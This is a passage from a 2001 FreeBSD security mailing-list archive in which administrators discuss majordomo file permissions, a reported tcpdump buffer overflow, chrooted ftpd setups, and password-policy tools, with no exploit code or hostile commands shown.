Administrator, Accounts SaskNow Technologies - http://www.sasknow.com #106-380 3120 8th St E - Saskatoon, SK - S7H 0W2 Tel: 306-664-3600 Fax: 306-664-1161 Saskatoon Toll-Free: 877-727-5669 (877-SASKNOW) North America To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 12 22:21:50 2001 Delivered-To: freebsd-security@freebsd.org Received: from citusc.usc.edu (citusc.usc.edu [128.125.38.123]) by hub.freebsd.org (Postfix) with ESMTP id CAE0837B402 for ; Fri, 12 Jan 2001 22:21:32 -0800 (PST) Received: (from kris@localhost) by citusc.usc.edu (8.9.3/8.9.3) id WAA28920; Fri, 12 Jan 2001 22:22:49 -0800 Date: Fri, 12 Jan 2001 22:22:49 -0800 From: Kris Kennaway To: Ryan Thompson Cc: freebsd-security@FreeBSD.ORG Subject: Re: Majordomo lists security Message-ID: <20010112222249.A28910@citusc.usc.edu> References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="gBBFr7Ir9EOA20Yy" Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from ryan@sasknow.com on Sat, Jan 13, 2001 at 12:05:10AM -0600 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org --gBBFr7Ir9EOA20Yy Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, Jan 13, 2001 at 12:05:10AM -0600, Ryan Thompson wrote: >=20 > Hmm... Maybe this has been answered before. >=20 > Is there a GOOD reason that, by default, /usr/local/majordomo/lists is > world readable? Does not just the "majordom" user/group ever read the > files contained therein? Until now, I've never really had cause to play > with majordomo, but I was notably concerned when I saw the administrative > password for each list stored clear text in a predictable world readable > file/directory. :-) =46rom the makefile: =2Eif !defined(BATCH) && !defined(PACKAGE_BUILDING) /usr/bin/dialog --yesno "Majordomo is unsafe to use on multi-user m= achines: local users can run arbitrary commands as the majordomo user. Do you wish to accept the securi= ty risk and build majordomo anyway?" 8 60 || ${FALSE} =2Eendif Kris --gBBFr7Ir9EOA20Yy Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE6X/Q5Wry0BWjoQKURAu9PAKCb42qSyEXwHFtntds3DpfpnZ8RaACff5T6 O3FnzGfSRlz9Fcgh5wTLyYc= =zlLk -----END PGP SIGNATURE----- --gBBFr7Ir9EOA20Yy-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 12 22:33:48 2001 Delivered-To: freebsd-security@freebsd.org Received: from chubby.gatewaybsd.au.com (CPE-203-45-153-231.qld.bigpond.net.au [203.45.153.231]) by hub.freebsd.org (Postfix) with ESMTP id 703D937B400 for ; Fri, 12 Jan 2001 22:33:30 -0800 (PST) Received: from win2k (win2k.gatewaybsd.au.com [10.0.0.1]) by chubby.gatewaybsd.au.com (8.11.1/8.11.1) with SMTP id f0D6XM104740 for ; Sat, 13 Jan 2001 16:33:23 +1000 (EST) (envelope-from whisky@slipy.net) Message-ID: <002301c07d2a$e85a3be0$0100000a@win2k> From: "whisky" To: Subject: subscribe Date: Sat, 13 Jan 2001 16:34:39 +1000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org subscribe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 12 22:44:28 2001 Delivered-To: freebsd-security@freebsd.org Received: from ren.sasknow.com (ren.sasknow.com [207.195.92.131]) by hub.freebsd.org (Postfix) with ESMTP id C6AB037B401; Fri, 12 Jan 2001 22:44:07 -0800 (PST) Received: from localhost (ryan@localhost) by ren.sasknow.com (8.9.3/8.9.3) with ESMTP id AAA71147; Sat, 13 Jan 2001 00:44:02 -0600 (CST) (envelope-from ryan@sasknow.com) Date: Sat, 13 Jan 2001 00:44:02 -0600 (CST) From: Ryan Thompson To: Kris Kennaway Cc: freebsd-security@FreeBSD.ORG Subject: Re: Majordomo lists security In-Reply-To: <20010112222249.A28910@citusc.usc.edu> Message-ID: Organization: SaskNow Technologies [www.sasknow.com] MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Kris Kennaway wrote to Ryan Thompson: > On Sat, Jan 13, 2001 at 12:05:10AM -0600, Ryan Thompson wrote: > > > > Hmm... Maybe this has been answered before. > > > > Is there a GOOD reason that, by default, /usr/local/majordomo/lists is > > world readable? Does not just the "majordom" user/group ever read the > > files contained therein? Until now, I've never really had cause to play > > with majordomo, but I was notably concerned when I saw the administrative > > password for each list stored clear text in a predictable world readable > > file/directory. :-) > > From the makefile: > > .if !defined(BATCH) && !defined(PACKAGE_BUILDING) > /usr/bin/dialog --yesno "Majordomo is unsafe to use on > multi-user machines: local users can run > arbitrary commands as the majordomo user. Do you wish to accept the > security risk and build majordomo anyway?" 8 60 || ${FALSE} .endif > > Kris Great! Thanks, Kris. I did tighten the permissions on the majordomo lists directories, which has got to help... though user logins are disabled on the majordomo machine, so one avenue of attack is closed (or at least severely hampered :-). Can you (or someone, here) provide any suggestions or success stories they've had with patches or permissions and majordomo? - Ryan -- Ryan Thompson Network Administrator, Accounts SaskNow Technologies - http://www.sasknow.com #106-380 3120 8th St E - Saskatoon, SK - S7H 0W2 Tel: 306-664-3600 Fax: 306-664-1161 Saskatoon Toll-Free: 877-727-5669 (877-SASKNOW) North America To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 12 22:50:14 2001 Delivered-To: freebsd-security@freebsd.org Received: from daedalus.cs.brandeis.edu (daedalus.cs.brandeis.edu [129.64.3.179]) by hub.freebsd.org (Postfix) with ESMTP id 1D69C37B400; Fri, 12 Jan 2001 22:49:54 -0800 (PST) Received: from localhost (meshko@localhost) by daedalus.cs.brandeis.edu (8.9.3/8.9.3) with ESMTP id BAA27903; Sat, 13 Jan 2001 01:49:50 -0500 Date: Sat, 13 Jan 2001 01:49:50 -0500 (EST) From: Mikhail Kruk To: Ryan Thompson Cc: Kris Kennaway , Subject: Re: Majordomo lists security In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org That's all great, sarcasm on or off, but is there a list server which can be run securely on a multi-user machine? (I assume that just changing permissions on those files does not make majordomo secure. or does it??) > Kris Kennaway wrote to Ryan Thompson: > > > On Sat, Jan 13, 2001 at 12:05:10AM -0600, Ryan Thompson wrote: > > > > > > Hmm... Maybe this has been answered before. > > > > > > Is there a GOOD reason that, by default, /usr/local/majordomo/lists is > > > world readable? Does not just the "majordom" user/group ever read the > > > files contained therein? Until now, I've never really had cause to play > > > with majordomo, but I was notably concerned when I saw the administrative > > > password for each list stored clear text in a predictable world readable > > > file/directory. :-) > > > > From the makefile: > > > > .if !defined(BATCH) && !defined(PACKAGE_BUILDING) > > /usr/bin/dialog --yesno "Majordomo is unsafe to use on > > multi-user machines: local users can run > > arbitrary commands as the majordomo user. Do you wish to accept the > > security risk and build majordomo anyway?" 8 60 || ${FALSE} .endif > > > > Kris > > > Great! > > > Thanks, Kris. > > I did tighten the permissions on the majordomo lists directories, which > has got to help... though user logins are disabled on the majordomo > machine, so one avenue of attack is closed (or at least severely hampered > :-). > > Can you (or someone, here) provide any suggestions or success stories > they've had with patches or permissions and majordomo? > > - Ryan > > -- > Ryan Thompson > Network Administrator, Accounts > > SaskNow Technologies - http://www.sasknow.com > #106-380 3120 8th St E - Saskatoon, SK - S7H 0W2 > > Tel: 306-664-3600 Fax: 306-664-1161 Saskatoon > Toll-Free: 877-727-5669 (877-SASKNOW) North America > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 12 23:10:19 2001 Delivered-To: freebsd-security@freebsd.org Received: from ren.sasknow.com (ren.sasknow.com [207.195.92.131]) by hub.freebsd.org (Postfix) with ESMTP id 2C3AC37B400 for ; Fri, 12 Jan 2001 23:10:01 -0800 (PST) Received: from localhost (ryan@localhost) by ren.sasknow.com (8.9.3/8.9.3) with ESMTP id BAA73016; Sat, 13 Jan 2001 01:09:28 -0600 (CST) (envelope-from ryan@sasknow.com) Date: Sat, 13 Jan 2001 01:09:28 -0600 (CST) From: Ryan Thompson To: Mikhail Kruk Cc: freebsd-security@freebsd.org Subject: Re: Majordomo lists security In-Reply-To: Message-ID: Organization: SaskNow Technologies [www.sasknow.com] MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Mikhail Kruk wrote to Ryan Thompson: > That's all great, sarcasm on or off, but is there a list server which > can be run securely on a multi-user machine? (I assume that just > changing permissions on those files does not make majordomo secure. or > does it??) There ARE several more list managers in the ports collection, but, for several administrative reasons, it would be nice for me (and others, too, I'm sure) to stick with majordomo. No one has told me how insecure the others are, either ;-) Changing permissions would (help to) prevent normal users from reading the majordomo list configurations, passwords, and members. - Ryan > > Kris Kennaway wrote to Ryan Thompson: > > > > > On Sat, Jan 13, 2001 at 12:05:10AM -0600, Ryan Thompson wrote: > > > > > > > > Hmm... Maybe this has been answered before. > > > > > > > > Is there a GOOD reason that, by default, /usr/local/majordomo/lists is > > > > world readable? Does not just the "majordom" user/group ever read the > > > > files contained therein? Until now, I've never really had cause to play > > > > with majordomo, but I was notably concerned when I saw the administrative > > > > password for each list stored clear text in a predictable world readable > > > > file/directory. :-) > > > > > > From the makefile: > > > > > > .if !defined(BATCH) && !defined(PACKAGE_BUILDING) > > > /usr/bin/dialog --yesno "Majordomo is unsafe to use on > > > multi-user machines: local users can run > > > arbitrary commands as the majordomo user. Do you wish to accept the > > > security risk and build majordomo anyway?" 8 60 || ${FALSE} .endif > > > > > > Kris > > > > > > Great! > > > > > > Thanks, Kris. > > > > I did tighten the permissions on the majordomo lists directories, which > > has got to help... though user logins are disabled on the majordomo > > machine, so one avenue of attack is closed (or at least severely hampered > > :-). > > > > Can you (or someone, here) provide any suggestions or success stories > > they've had with patches or permissions and majordomo? > > > > - Ryan > > > > -- > > Ryan Thompson > > Network Administrator, Accounts > > > > SaskNow Technologies - http://www.sasknow.com > > #106-380 3120 8th St E - Saskatoon, SK - S7H 0W2 > > > > Tel: 306-664-3600 Fax: 306-664-1161 Saskatoon > > Toll-Free: 877-727-5669 (877-SASKNOW) North America > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-security" in the body of the message > > > > -- Ryan Thompson Network Administrator, Accounts SaskNow Technologies - http://www.sasknow.com #106-380 3120 8th St E - Saskatoon, SK - S7H 0W2 Tel: 306-664-3600 Fax: 306-664-1161 Saskatoon Toll-Free: 877-727-5669 (877-SASKNOW) North America To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 12 23:14:32 2001 Delivered-To: freebsd-security@freebsd.org Received: from gw.nordwest.ru (unknown [193.125.193.149]) by hub.freebsd.org (Postfix) with ESMTP id 2BBC837B400 for ; Fri, 12 Jan 2001 23:14:16 -0800 (PST) Received: from ws17.acp ([10.2.0.17]:56071 "EHLO ws17.acp") by gw.nordwest.ru with ESMTP id ; Sat, 13 Jan 2001 10:12:58 +0300 Date: Sat, 13 Jan 2001 10:13:51 +0300 From: "Pavel V. Boagtyerv" X-Mailer: The Bat! (v1.44) X-Priority: 3 (Normal) Message-ID: <172340087019.20010113101351@nordwest.ru> To: security@FreeBSD.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org unsubscribe -- Best regards, Pavel mailto:paul@nordwest.ru To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 13 5:24:32 2001 Delivered-To: freebsd-security@freebsd.org Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44]) by hub.freebsd.org (Postfix) with ESMTP id 3D3E537B404; Sat, 13 Jan 2001 05:24:10 -0800 (PST) Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.8.7/8.8.8) id FAA21993; Sat, 13 Jan 2001 05:24:09 -0800 Received: from passer.osg.gov.bc.ca(142.32.110.29) via SMTP by point.osg.gov.bc.ca, id smtpda21991; Sat Jan 13 05:24:03 2001 Received: (from uucp@localhost) by passer.osg.gov.bc.ca (8.11.2/8.9.1) id f0DDNwJ46085; Sat, 13 Jan 2001 05:23:58 -0800 (PST) Received: from cwsys9.cwsent.com(10.2.2.1), claiming to be "cwsys.cwsent.com" via SMTP by passer9.cwsent.com, id smtpdX46083; Sat Jan 13 05:23:33 2001 Received: (from uucp@localhost) by cwsys.cwsent.com (8.11.2/8.9.1) id f0DDNX518734; Sat, 13 Jan 2001 05:23:33 -0800 (PST) Message-Id: <200101131323.f0DDNX518734@cwsys.cwsent.com> Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwsent.com, id smtpdu18730; Sat Jan 13 05:23:24 2001 X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4 Reply-To: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-OS: FreeBSD 4.2-RELEASE X-Sender: cy To: Kris Kennaway Cc: Cy Schubert - ITSD Open Systems Group , freebsd-security@FreeBSD.ORG Subject: Re: [!H] Tcpdump 3.5.2 remote root vulnerability (fwd) In-reply-to: Your message of "Fri, 12 Jan 2001 18:45:29 PST." <20010112184529.B25168@citusc.usc.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 13 Jan 2001 05:23:22 -0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <20010112184529.B25168@citusc.usc.edu>, Kris Kennaway writes: > > --dc+cDN39EJAMEtIO > Content-Type: text/plain; charset=us-ascii > Content-Disposition: inline > > On Fri, Jan 12, 2001 at 12:57:57PM -0800, Cy Schubert - ITSD Open Systems Gro > up wrote: > > This affects our tcpdump. > > Well..it affects old versions of tcpdump before we patched the > vulnerability (which I discovered and which we initially publicized, > BTW), and released the advisory describing it. All this post is is a > canned exploit for the known, long fixed problem..nothing to worry > about unless you don't act on the security advisories which are > released. > > Kris I do recall the advisory which mainly patches some calls from sprintf() to snprintf(), however the advisory from BUGTRAQ that I had forwarded to this list patches two calls to sscanf(). Are you saying that we tackled the same problem differently or did we just fix a different buffer overrun condition? If this is a different problem, there are two other sscanf's in print-atalk.c that were not discussed in the advisory that need fixing. If this is the same problem fixed differently, my apologies to the list for wasting everyone's time. Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Team Leader, Sun/Alpha Team Internet: Cy.Schubert@osg.gov.bc.ca Open Systems Group, ITSD, ISTA Province of BC To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 13 5:31: 7 2001 Delivered-To: freebsd-security@freebsd.org Received: from mail.inka.de (quechua.inka.de [212.227.14.2]) by hub.freebsd.org (Postfix) with ESMTP id 4C32837B400 for ; Sat, 13 Jan 2001 05:30:50 -0800 (PST) Received: from kemoauc.mips.inka.de (uucp@) by mail.inka.de with local-bsmtp id 14HQlX-0008NE-00; Sat, 13 Jan 2001 14:30:43 +0100 Received: (from daemon@localhost) by kemoauc.mips.inka.de (8.11.1/8.11.1) id f0DCV1160355 for freebsd-security@freebsd.org; Sat, 13 Jan 2001 13:31:01 +0100 (CET) (envelope-from daemon) From: naddy@mips.inka.de (Christian Weisgerber) Subject: Re: Majordomo lists security Date: Sat, 13 Jan 2001 12:31:00 +0000 (UTC) Message-ID: <93phq4$1q24$1@kemoauc.mips.inka.de> References: Originator: naddy@mips.inka.de (Christian Weisgerber) To: freebsd-security@freebsd.org Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Ryan Thompson wrote: > Is there a GOOD reason that, by default, /usr/local/majordomo/lists is > world readable? Does not just the "majordom" user/group ever read the > files contained therein? No, sendmail reads the subscriber list. It's just an :include:d alias expansion, after all. > I was notably concerned when I saw the administrative password > for each list stored clear text in a predictable world readable > file/directory. :-) You may get away with o-r on the .config files (aren't they already?), but the subscriber list itself must remain world-readable. -- Christian "naddy" Weisgerber naddy@mips.inka.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 13 6:51:10 2001 Delivered-To: freebsd-security@freebsd.org Received: from cithaeron.bsdonline.org (bgm-24-94-35-22.stny.rr.com [24.94.35.22]) by hub.freebsd.org (Postfix) with ESMTP id 2778C37B400 for ; Sat, 13 Jan 2001 06:50:53 -0800 (PST) Received: from localhost (piechota@localhost) by cithaeron.bsdonline.org (8.9.3/8.9.3) with ESMTP id JAA14577; Sat, 13 Jan 2001 09:50:40 -0500 (EST) (envelope-from piechota@argolis.org) X-Authentication-Warning: cithaeron.bsdonline.org: piechota owned process doing -bs Date: Sat, 13 Jan 2001 09:50:40 -0500 (EST) From: Matt Piechota X-Sender: piechota@cithaeron.bsdonline.org To: Christian Weisgerber Cc: freebsd-security@FreeBSD.ORG Subject: Re: Majordomo lists security In-Reply-To: <93phq4$1q24$1@kemoauc.mips.inka.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, 13 Jan 2001, Christian Weisgerber wrote: > > I was notably concerned when I saw the administrative password > > for each list stored clear text in a predictable world readable > > file/directory. :-) > > You may get away with o-r on the .config files (aren't they already?), > but the subscriber list itself must remain world-readable. Is this for sendmail itself? Sendmail runs as root (which isn't good, except in this case), so it can read anything it wants, regardless of permissions. Or am I mistaken somewhere? -- Matt Piechota http://www.emailempire.com/~piechota To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 13 7:53:37 2001 Delivered-To: freebsd-security@freebsd.org Received: from fmdb.c3.hu (dial-015.digitel2002.hu [213.163.2.15]) by hub.freebsd.org (Postfix) with SMTP id 1750037B402 for ; Sat, 13 Jan 2001 07:52:54 -0800 (PST) Received: (qmail 1317 invoked by uid 1004); 13 Jan 2001 15:50:42 -0000 Date: Sat, 13 Jan 2001 16:50:42 +0100 From: Miklos Niedermayer To: Mikhail Kruk Cc: Ryan Thompson , Kris Kennaway , freebsd-security@FreeBSD.ORG Subject: Re: Majordomo lists security Message-ID: <20010113165042.B302@bsd.hu> Mail-Followup-To: Miklos Niedermayer , Mikhail Kruk , Ryan Thompson , Kris Kennaway , freebsd-security@FreeBSD.ORG References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from meshko@cs.brandeis.edu on Sat, Jan 13, 2001 at 01:49:50AM -0500 X-Operating-System: FreeBSD - The Power to Serve Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi! ( > Mikhail Kruk) > That's all great, sarcasm on or off, but is there a list server which can > be run securely on a multi-user machine? > (I assume that just changing permissions on those files does not make > majordomo secure. or does it??) I can heavily recommend ezmlm - just one problem: it does only run with qmail (which i can recommend too). -- ______ o _. __ / / / (_(_(__(_) @ bsd.hu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 13 7:54:15 2001 Delivered-To: freebsd-security@freebsd.org Received: from gaia.nimnet.asn.au (nimbin.lnk.telstra.net [139.130.45.143]) by hub.freebsd.org (Postfix) with ESMTP id 091CB37B69C for ; Sat, 13 Jan 2001 07:53:53 -0800 (PST) Received: from localhost (smithi@localhost) by gaia.nimnet.asn.au (8.8.8/8.8.8R1.2) with SMTP id CAA29230; Sun, 14 Jan 2001 02:53:23 +1100 (EST) (envelope-from smithi@nimnet.asn.au) Date: Sun, 14 Jan 2001 02:53:22 +1100 (EST) From: Ian Smith To: Matt Piechota Cc: Christian Weisgerber , freebsd-security@FreeBSD.ORG Subject: Re: Majordomo lists security In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, 13 Jan 2001, Matt Piechota wrote: > On Sat, 13 Jan 2001, Christian Weisgerber wrote: > > > > I was notably concerned when I saw the administrative password > > > for each list stored clear text in a predictable world readable > > > file/directory. :-) > > > > You may get away with o-r on the .config files (aren't they already?), > > but the subscriber list itself must remain world-readable. The config and passwd files here came as mode 660 (or 640 - I do recall making a few things group (majordom) writable that weren't originally), as a couple of users manage lists; root still needed to create new ones. I chmod o-r a few other files too, but was slack not documenting it :( > Is this for sendmail itself? Sendmail runs as root (which isn't good, > except in this case), so it can read anything it wants, regardless of > permissions. Or am I mistaken somewhere? I was wondering about that too. If not, can't root be added to group majordom? I find it a convoluted beastie to understand, but need it. Cheers, Ian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 13 8:18:29 2001 Delivered-To: freebsd-security@freebsd.org Received: from bsdie.rwsystems.net (bsdie.rwsystems.net [209.197.223.2]) by hub.freebsd.org (Postfix) with ESMTP id 36F9F37B402; Sat, 13 Jan 2001 08:18:10 -0800 (PST) Received: from bsdie.rwsystems.net([209.197.223.2]) (1629 bytes) by bsdie.rwsystems.net via sendmail with P:esmtp/R:bind_hosts/T:inet_zone_bind_smtp (sender: ) id for ; Sat, 13 Jan 2001 10:17:37 -0600 (CST) (Smail-3.2.0.111 2000-Feb-17 #1 built 2000-Jun-25) Date: Sat, 13 Jan 2001 10:17:37 -0600 (CST) From: James Wyatt To: Kris Kennaway Cc: Ryan Thompson , freebsd-security@FreeBSD.ORG Subject: Re: Majordomo lists security In-Reply-To: <20010112222249.A28910@citusc.usc.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: Content-Disposition: INLINE Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 12 Jan 2001, Kris Kennaway wrote: > On Sat, Jan 13, 2001 at 12:05:10AM -0600, Ryan Thompson wrote: > > Hmm... Maybe this has been answered before. > > > > Is there a GOOD reason that, by default, /usr/local/majordomo/lists is > > world readable? Does not just the "majordom" user/group ever read the > > files contained therein? Until now, I've never really had cause to play [ ... ] > From the makefile: > > .if !defined(BATCH) && !defined(PACKAGE_BUILDING) > /usr/bin/dialog --yesno "Majordomo is unsafe to use on multi-user machines: local users can run > arbitrary commands as the majordomo user. Do you wish to accept the security risk and build majordomo > anyway?" 8 60 || ${FALSE} > .endif This says *nothing* about allowing (very portable) passwords to leak, just that they can run commands. Most users would take that to mean run such commands *locally*, not remotely. - Jy@ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 13 9:31:14 2001 Delivered-To: freebsd-security@freebsd.org Received: from pps.de (mail.pps.de [217.13.200.134]) by hub.freebsd.org (Postfix) with ESMTP id 4B37E37B402 for ; Sat, 13 Jan 2001 09:30:56 -0800 (PST) Received: from jung7.pps.de (jung7.pps.de [192.9.200.17]) by pps.de (8.9.3/8.9.3) with ESMTP id SAA90973 for ; Sat, 13 Jan 2001 18:48:55 +0100 (CET) (envelope-from petros@pps.de) Received: from feder.pps.de by jung7.pps.de (8.9.3+Sun/ZRZ-Sol2) id SAA15552; Sat, 13 Jan 2001 18:27:25 +0100 (MET) Received: from feder by feder.pps.de (8.9.3+Sun/ZRZ-Sol2) id SAA23176; Sat, 13 Jan 2001 18:27:27 +0100 (MET) Message-Id: <200101131727.SAA23176@feder.pps.de> Date: Sat, 13 Jan 2001 18:27:27 +0100 (MET) From: Peter Ross Reply-To: Peter Ross Subject: Re: Proposed modification to ftpd To: security@freebsd.org MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: U8zBI5ZOm3DhedzFvep42A== X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.3.5 SunOS 5.7 sun4u sparc Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello, next week I have to change a ftp server. I read the thread starting with the message from Fernando Schapachnik on Fri, 29 Dec 2000 13:29:45 -0300 (ART) > I just submitted PR bin/23944, which contains a patch against > 4.2R ftpd to add the following funcionality to chrooted users: The > user's home dir is splitted by the first '/./'. The first part is > used to chroot, and the second to chdir (eg, > '/usr/local/www/data/site/./htdocs', means chroot to > /usr/local/www/data/site, and then chdir to htdocs). > > The reason I consider it (some how) security related is that > it is meant to simplify migration from (usually > remote-root-exploitable) wu-ftpd, which uses the same sintax. I want to migrate (for security reasons). I wish that the user doesn't see /etc or /bin after login, because some of them using scripts to receive data. These scripts could have instructions like "mput *". There are more then one or two users and I don't like monday telephon calls "It doesn't work". Some users are confused by smallest changes.. I created a home directory owned by the FTP account and used /etc/ftpchroot. Fortunately ls is integrated part of ftpd - no bin directory necessary. Also there's no etc. According to the man page I only see uids (no names because there is no passwd database) but I think that isn't a problem. This moment I can't see other problems. It seems to work. ftpd(8) > ~ftp Make the home directory owned by ``root'' and unwritable > by anyone. Hmmh. Now the home directory is 775 (a different user with a same gid moves the files in our network or from it) Would you prefer my way to migrate wu-ftpd -> ftpd rather than implement the "*/./*" syntax? Any risks? Regards Peter Ross To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 13 10:37:17 2001 Delivered-To: freebsd-security@freebsd.org Received: from mail1.toronto.istar.net (mail1.toronto.istar.net [209.89.75.17]) by hub.freebsd.org (Postfix) with ESMTP id 1470137B6A8; Sat, 13 Jan 2001 10:36:57 -0800 (PST) Received: from d141-117-39.home.cgocable.net ([24.141.117.39]) by mail1.toronto.istar.net with esmtp (Exim 2.02 #1) id 14HVXv-00070k-00; Sat, 13 Jan 2001 13:36:59 -0500 Date: Sat, 13 Jan 2001 13:43:47 -0500 (EST) From: Dru X-Sender: genisis@genisis To: questions@freebsd.org Cc: security@freebsd.org Subject: opinions on password policies Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Please don't flame me if this is not appropriate content for security, I wasn't sure after reading the charter. If it's inappropriate, a polite email will suffice :) After spending a week trying to use my rudimentary programming skills to hack Makefiles and C source code, I've failed miserably in getting either "npasswd" or "passwd+" to compile on 4.2-Release. So I have some questions for the BSD sysadmins out there: * Is the lack of a port for either of these utilities an indication that noone uses them? If that's the case, what do sysadmins use to enforce good passwords? * Those admins I have talked to seem to prefer using "crack" after the fact. Is this common practice? I may be showing my Unix-greenness here, but when I was taught to admin other OSs, password policies were always a 2-step process: use whatever utilities for that OS would enforce policy and then periodically crack the password database to ensure it worked. Is this not done in BSD-land? * Has ANYONE been able to build "npasswd" or "passwd+" on FreeBSD? After a week of effort, it would be great to have the satisfaction of seeing it work :) TIA, Dru To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 13 11:56:59 2001 Delivered-To: freebsd-security@freebsd.org Received: from sol.cc.u-szeged.hu (sol.cc.u-szeged.hu [160.114.8.24]) by hub.freebsd.org (Postfix) with ESMTP id B0E2C37B404 for ; Sat, 13 Jan 2001 11:56:41 -0800 (PST) Received: from petra.hos.u-szeged.hu by sol.cc.u-szeged.hu (8.9.3+Sun/SMI-SVR4) id UAA22878; Sat, 13 Jan 2001 20:56:34 +0100 (MET) Received: from sziszi by petra.hos.u-szeged.hu with local (Exim 3.12 #1 (Debian)) id 14HWmx-0004MX-00 for ; Sat, 13 Jan 2001 20:56:35 +0100 Date: Sat, 13 Jan 2001 20:56:35 +0100 From: Szilveszter Adam To: security@freebsd.org Subject: Re: opinions on password policies Message-ID: <20010113205635.E1513@petra.hos.u-szeged.hu> Mail-Followup-To: Szilveszter Adam , security@freebsd.org References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from genisis@istar.ca on Sat, Jan 13, 2001 at 01:43:47PM -0500 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello, On Sat, Jan 13, 2001 at 01:43:47PM -0500, Dru wrote: > * Has ANYONE been able to build "npasswd" or "passwd+" on FreeBSD? After a > week of effort, it would be great to have the satisfaction of seeing it > work :) I have taken a look at npasswd after your first post to this list about it... and I can say that it would not be simple to port it over IMHO. BTW, the configure script seems to be very old and gets much of the stuff wrong. But I did not 